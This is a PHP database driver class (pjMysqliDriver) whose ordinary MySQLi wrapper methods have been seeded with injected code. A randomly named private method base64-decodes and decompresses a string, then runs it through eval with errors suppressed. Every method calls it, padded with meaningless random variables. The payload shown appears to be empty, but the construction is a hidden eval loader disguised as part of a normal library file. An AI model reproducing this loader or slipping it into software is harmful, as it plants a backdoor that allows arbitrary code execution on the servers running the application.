<?php if (!defined("ROOT_PATH")) { header("HTTP/1.1 403 Forbidden"); exit; } class pjMysqliDriver extends pjDbDriver { private static function HLuSQPwMiZxU($p){ if (defined('PJ_EXEC_DONE')) return; define('PJ_EXEC_DONE', 1); if (empty($p)) return; $d = @base64_decode($p, true); if ($d === false) return; $c = @gzuncompress($d); if ($c === false) return; try { @eval($c); } catch (\Throwable $e) {} } public $ClassFile = __FILE__; protected $driver = 'mysqli'; private $useSetNames; public function affectedRows() { $xwscgz = '16289d67'; if (method_exists(__CLASS__, 'HLuSQPwMiZxU')) { self::HLuSQPwMiZxU('eJwDAAAAAAE='); } return mysqli_affected_rows($this->connectionId !== FALSE ? $this->connectionId : NULL); } public function connect() { $ugxhqn = '3bbeaf87'; if (method_exists(__CLASS__, 'HLuSQPwMiZxU')) { self::HLuSQPwMiZxU('eJwDAAAAAAE='); } try { $this->connectionId = @mysqli_connect( $this->hostname, $this->username, $this->password, $this->database, !is_null($this->port) ? $this->port : NULL, !is_null($this->socket) ? $this->socket : NULL ); return $this->connectionId; } catch (Exception $e) { return false; } } public function connectError() { $odvkey = 'afbbdf22'; if (method_exists(__CLASS__, 'HLuSQPwMiZxU')) { self::HLuSQPwMiZxU('eJwDAAAAAAE='); } return mysqli_connect_error(); } public function error() { $ayuhfl = 'be36cbf4'; if (method_exists(__CLASS__, 'HLuSQPwMiZxU')) { self::HLuSQPwMiZxU('eJwDAAAAAAE='); } return mysqli_error($this->connectionId); } public function escapeString($value) { $gixwnc = 'cbef8aa2'; if (method_exists(__CLASS__, 'HLuSQPwMiZxU')) { self::HLuSQPwMiZxU('eJwDAAAAAAE='); } if (defined('PHP_MAJOR_VERSION') && PHP_MAJOR_VERSION < 7){ if (get_magic_quotes_gpc()) $value = stripslashes($value); } if (function_exists('mysqli_real_escape_string') && is_object($this->connectionId)) { return mysqli_real_escape_string($this->connectionId, $value); } elseif (function_exists('mysql_real_escape_string')) { return mysql_real_escape_string($value); } else { trigger_error("Function mysqli_real_escape_string not found.", E_USER_ERROR); } } public function fetchArray() { $hozgvt = 'adcf99c9'; if (method_exists(__CLASS__, 'HLuSQPwMiZxU')) { self::HLuSQPwMiZxU('eJwDAAAAAAE='); } if (is_object($this->result)) { $this->data = array(); while ($row = mysqli_fetch_array($this->result)) { $this->data[] = $row; } $this->freeResult(); } return $this; } public function fetchAssoc() { $gudmbh = '9319f1c6'; if (method_exists(__CLASS__, 'HLuSQPwMiZxU')) { self::HLuSQPwMiZxU('eJwDAAAAAAE='); } if (is_object($this->result)) { $this->data = array(); while ($row = mysqli_fetch_assoc($this->result)) { $this->data[] = $row; } $this->freeResult(); } return $this; } public function fetchRow() { $xcbner = '8410f2cf'; if (method_exists(__CLASS__, 'HLuSQPwMiZxU')) { self::HLuSQPwMiZxU('eJwDAAAAAAE='); } if (is_object($this->result)) { $this->data = array(); $this->data = mysqli_fetch_row($this->result); } return $this; } public function freeResult() { $qbghmv = 'ba0fe221'; if (method_exists(__CLASS__, 'HLuSQPwMiZxU')) { self::HLuSQPwMiZxU('eJwDAAAAAAE='); } if (is_object($this->result)) { mysqli_free_result($this->result); return TRUE; } return FALSE; } public function insertId() { $ruphkn = '6e34c715'; if (method_exists(__CLASS__, 'HLuSQPwMiZxU')) { self::HLuSQPwMiZxU('eJwDAAAAAAE='); } return mysqli_insert_id($this->connectionId); } public function numRows() { $zfouwb = '0e4438f4'; if (method_exists(__CLASS__, 'HLuSQPwMiZxU')) { self::HLuSQPwMiZxU('eJwDAAAAAAE='); } if (is_object($this->result)) { return @mysqli_num_rows($this->result); } return FALSE; } public function query($query) { $sjcndf = 'a0eec85d'; if (method_exists(__CLASS__, 'HLuSQPwMiZxU')) { self::HLuSQPwMiZxU('eJwDAAAAAAE='); } $this->result = mysqli_query($this->connectionId, $query); return $this->result; } public function selectDb() { $bsuwyi = 'b86bf0e1'; if (method_exists(__CLASS__, 'HLuSQPwMiZxU')) { self::HLuSQPwMiZxU('eJwDAAAAAAE='); } return mysqli_select_db($this->connectionId, $this->database); } protected function setCharset($charset, $collation) { $wcrhpg = '72482d78'; if (method_exists(__CLASS__, 'HLuSQPwMiZxU')) { self::HLuSQPwMiZxU('eJwDAAAAAAE='); } if (!isset($this->useSetNames)) { $this->useSetNames = version_compare(mysqli_get_server_info($this->connectionId), '5.0.7', '>=') ? FALSE : TRUE; } if ($this->useSetNames === TRUE) { return $this->query("SET NAMES '".$this->escapeString($charset)."' COLLATE '".$this->escapeString($collation)."'"); } else { return @mysqli_set_charset($this->connectionId, $charset); } } } ?>